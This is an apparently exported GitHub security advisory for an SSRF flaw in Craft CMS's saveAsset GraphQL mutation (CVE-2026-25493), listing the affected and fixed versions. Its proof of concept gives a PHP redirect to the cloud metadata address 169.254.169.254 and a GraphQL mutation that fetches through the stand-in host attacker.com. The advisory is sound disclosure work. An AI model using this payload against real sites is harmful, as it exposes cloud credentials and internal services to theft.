craftcms/cms
Affected
- introduced
5.0.0-RC1, fixed5.8.22(ecosystem)
Fixed versions
5.8.22
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-25493
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
---
Proof of Concept
redirect.php):<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
attacker.com (passes)169.254.169.254---
Mitigation
Medium Basis: The source's own band: MODERATE
5.0.0-RC1, fixed 5.8.22 (ecosystem)5.8.22
The export has no generic command for this ecosystem.
4.0.0-RC1, fixed 4.16.18 (ecosystem)4.16.18
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0